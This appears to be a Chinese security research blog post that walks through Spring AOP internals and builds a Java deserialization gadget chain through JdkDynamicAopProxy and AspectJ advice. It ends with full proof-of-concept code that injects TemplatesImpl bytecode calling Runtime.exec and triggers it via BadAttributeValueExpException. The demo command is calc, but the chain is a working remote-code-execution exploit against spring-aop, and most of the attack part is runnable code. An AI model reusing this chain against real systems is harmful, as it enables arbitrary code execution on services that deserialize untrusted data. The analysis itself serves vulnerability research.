环境和依赖
jdk8u66
1 2 3 4 5 6 7 8 9 10 11 12 13
| <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-aop</artifactId> <version>2.7.18</version> </dependency>
<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency> </dependencies>
|
AOP简单使用
先了解一点AOP的概念:
- 切面(Aspect): 公共功能的实现。如日志切面、权限切面、验签切面。给Java类使用
@Aspect
注释修饰,就能被AOP容器识别为切面
- 通知(Advice): 切面的具体实现,即切面类中的一个方法,根据放置的地方不同,可分为前置通知(Before)、后置通知(AfterReturning)、异常通知(AfterThrowing)、最终通知(After)与环绕通知(Around)
- 连接点(JoinPoint): 程序在运行过程中能够插入切面的地方。Spring只支持方法级的连接点,比如一个目标对象有5个方法,就有5个连接点
- 切点(PointCut): 用于定义通知应该应用到哪些连接点
- 引入(Introduction):动态地为类添加新的接口实现
定义切面类LoggingAspect
,下面的logBefore
方法即一个通知(advice),并将通知注册到了定义的切点serviceLayer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package AOPtest;
import org.aspectj.lang.JoinPoint; import org.aspectj.lang.annotation.Aspect; import org.aspectj.lang.annotation.Before; import org.aspectj.lang.annotation.Pointcut; import org.springframework.stereotype.Component;
@Aspect @Component public class LoggingAspect { @Pointcut("execution(* AOPtest.*.*(..))") public void serviceLayer() {}
@Before("serviceLayer()") public void logBefore(JoinPoint joinPoint) { System.out.println("Method Called: " + joinPoint.getSignature()); } }
|
@Pointcut
使用规则匹配来定义通知(advice)要应用到哪些连接点(joint point,即方法)。
execution
表示匹配方法的执行 ,第一个*
号表示方法有任意返回值,org.test.service
为匹配的包名 ,后面两个*
表示包名下的所有类的所有方法 ,(...)
表示方法的参数任意。
定义服务类:
1 2 3 4 5 6 7 8 9 10
| package AOPtest;
import org.springframework.stereotype.Service;
@Service public class HelloService { public void sayHello() { System.out.println("hello"); } }
|
启动SpringBoot项目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package AOPtest;
import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.context.ConfigurableApplicationContext;
@SpringBootApplication public class Application { public static void main(String[] args) { ConfigurableApplicationContext context = SpringApplication.run(Application.class, args); HelloService service = context.getBean(HelloService.class); service.sayHello(); } }
|

成功通过AOP实现方法级别的hook
从AOP动态代理到方法拦截
JdkDynamicAopProxy
这个类最初用于解决Jackson链的不稳定触发,这个类是JDK动态代理中的调用处理器,当代理对象Proxy调用方法时,会跳转到该类的invoke方法来处理。这个之前在讲Jackson链的时候讲过了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| ………… target = targetSource.getTarget(); Class<?> targetClass = (target != null ? target.getClass() : null);
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
if (chain.isEmpty()) { Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args); retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse); } else { MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain); retVal = invocation.proceed(); } …………
|
在调用目标对象Target的方法之前,会检查这个方法是否有配置拦截链。在Jackson链中走的是chain.isEmpty()
的情况,即未配置拦截链,直接通过反射来调用Target的方法。若配置了拦截链,则先通过拦截链的一层层处理,再到JoinPoint(即target的方法)。
AdvisedSupport
是关于代理对象配置的,先看如何获取用于拦截链的getInterceptorsAndDynamicInterceptionAdvice
方法:

readObject
会为methodCache
分配一个空的Map,因此首次根据MethodCacheKey
获取拦截链肯定得到null。继续来看470行的getInterceptorsAndDynamicInterceptionAdvice
方法:

57行:从配置获取Advisior
(包含有advice和决定advice作用位置匹配的过滤器)。
58行:有多少个Advisor
拦截链interceptorList
长度就有多少。
63行以后:判断是作用到PointCut的advice还是作用到Introduction的advice,但最终都是通过registry.getInterceptors(advisor)
获取Interceptor合并到interceptorList
中。
跟进101行的DefaultAdvisorAdapterRegistry#getInterceptors
方法:

82、83行:若advice是MethodInterceptor
类型,直接加入拦截器中,顾名思义MethodInterceptor
这个接口就是用于拦截前往target的方法调用,往其声明的invoke
方法添加拦截时要处理的逻辑(如记录日志)即可。
1 2 3 4 5 6 7 8
| ………… else { MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain); retVal = invocation.proceed(); }
|
回到JdkDynamicAopProxy
,当chain不为空时,实例化ReflectiveMethodInvocation
并调用其proceed
方法:

currentInterceptorIndex
指向当前拦截器在拦截链中的索引,若已经执行完所有拦截器(即索引已到达size-1),则直接invokeJoinpoint
调用JoinPoint连接点的方法(即target的方法)。如果当前advice是根据规则动态匹配方法的,则先判断当前方法是否匹配到,若匹配到则调用拦截器的invoke方法。
Advice调用切面方法

现在思考一下第一节AOP的案例最后advice是怎么调用到我们自定义的切面方法呢,我们只是定义了一个接受JoinPoint
参数的方法,然后用@Before
注释了该方法。可以猜测框架保存了这个Method,最后用反射调用,传入匹配到的JoinPoint作为参数。
接下来就要看AbstractAspectJAdvice
这个抽象类,上面提到的几个通知类型都是它的子类(包括Before、After、AfterReturning、AfterThrowing、Around)

这里以最简单的AspectJAfterAdvice
类里的invoke方法举例:

先调用proceed
方法让拦截链继续传递到下一个拦截器,最后再invokeAdviceMethod
调用拦截逻辑

最终走到invokeAdviceMethodWithGivenArgs
:

这里是直接在AOP依赖下的一个sink点,有着反射执行任意方法的能力,操作空间很大。aspectJAdviceMethod
即advice对应的方法(如上面我们自己写的logBefore
方法),这里利用Method#invoke
反射调用了这个方法。但是Method类并没有实现Serializable接口,aspectJAdviceMethod
属性也是由transient
修饰。
Method实际上是readObject时通过反射恢复的:
1
| this.aspectJAdviceMethod = this.declaringClass.getMethod(this.methodName, this.parameterTypes);
|
再回到刚刚那个图,最后一行,调用对象由this.aspectInstanceFactory.getAspectInstance()
获取,有多个实例工厂类,这些都可能是我们反序列化链子的出口。

SimpleAspectInstanceFactory#getAspectInstance:

直接反射调用的无参构造器,可惜这个类不能序列化,否则可以考虑打ClassPathXmlApplicationContext
。
SingletonAspectInstanceFactory#getAspectInstance:

单例工厂,直接返回对象 ,并且可以被序列化。
SimpleBeanFactoryAwareAspectInstanceFactory#getAspectInstance:

由Bean工厂创建。
因此能利用的只有单例工厂了。现在反射调用方法的三要素Method和调用对象都齐了,只剩参数了。
回到invokeAdviceMethod
方法:

跟进argBinding
方法:

jpMatch来自getJoinPointMatch
方法:

没找到可以调用ProxyMethodInvocation#setUserAttribute
的地方,又想到是否有拦截器可以拦截时添加这一属性,翻了一圈没找到,所以目前只能调用无参方法了。
任意无参方法调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import org.springframework.aop.aspectj.AspectJExpressionPointcut; import org.springframework.aop.aspectj.AspectJMethodBeforeAdvice; import org.springframework.aop.aspectj.SingletonAspectInstanceFactory; import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.Base64;
public class POC { public static void main(String[] args) throws Exception { byte[] bytes = getshortclass("calc"); Templates templates = (Templates) getTemplates(bytes);
SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(templates); Method m = TemplatesImpl.class.getMethod("newTransformer"); AspectJMethodBeforeAdvice advice = new AspectJMethodBeforeAdvice(m, new AspectJExpressionPointcut(), factory);
AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.addAdvice(advice); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Serializable.class}, handler);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); setValue(val, "val", proxy);
String a = serialize(val); unserialize(a); }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; }
public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); }
public static Object getTemplates(byte[] bytes) throws Exception { Templates templates = new TemplatesImpl(); setValue(templates, "_bytecodes", new byte[][]{bytes}); setValue(templates, "_name", "PC016"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; }
public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); byte[] bytes = clazz.toBytecode(); return bytes; } }
|
直接这样写,运行会报错:

全局搜这个报错,在ExposeInvocationInterceptor.java

MethodInvocation是空的,也就是在JdkDynamicAopProxy中实例化的ReflectiveMethodInvocation,那MethodInvocation跑哪去了呢?
再看一眼报错所在的类ExposeInvocationInterceptor——也是一个拦截器。

invoke
方法刚好把MethodInvocation设置进当前上下文进程类。所以只需多往advice链里注册个ExposeInvocationInterceptor
即可。
注意由于是链式调用,需要先注册这个interceptor,再注册advice。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import org.springframework.aop.aspectj.AspectJExpressionPointcut; import org.springframework.aop.aspectj.AspectJMethodBeforeAdvice; import org.springframework.aop.aspectj.SingletonAspectInstanceFactory; import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.interceptor.ExposeInvocationInterceptor;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.Base64;
public class POC { public static void main(String[] args) throws Exception { byte[] bytes = getshortclass("calc"); Templates templates = (Templates) getTemplates(bytes);
SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(templates); Method m = TemplatesImpl.class.getMethod("newTransformer"); AspectJMethodBeforeAdvice advice = new AspectJMethodBeforeAdvice(m, new AspectJExpressionPointcut(), factory);
Constructor<?> c = ExposeInvocationInterceptor.class.getDeclaredConstructors()[0]; c.setAccessible(true); ExposeInvocationInterceptor interceptor = (ExposeInvocationInterceptor) c.newInstance();
AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.addAdvice(interceptor); advisedSupport.addAdvice(advice);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Serializable.class}, handler);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); setValue(val, "val", proxy);
String a = serialize(val); unserialize(a); }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; }
public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); }
public static Object getTemplates(byte[] bytes) throws Exception { Templates templates = new TemplatesImpl(); setValue(templates, "_bytecodes", new byte[][]{bytes}); setValue(templates, "_name", "PC016"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; }
public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); byte[] bytes = clazz.toBytecode(); return bytes; } }
|

调用链:
1 2 3 4 5
| JdkDynamicAopProxy.invoke()-> ReflectiveMethodInvocation.proceed()-> AspectJAroundAdvice->invoke-> org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()-> method.invoke()
|
参考文章:https://xz.aliyun.com/news/17640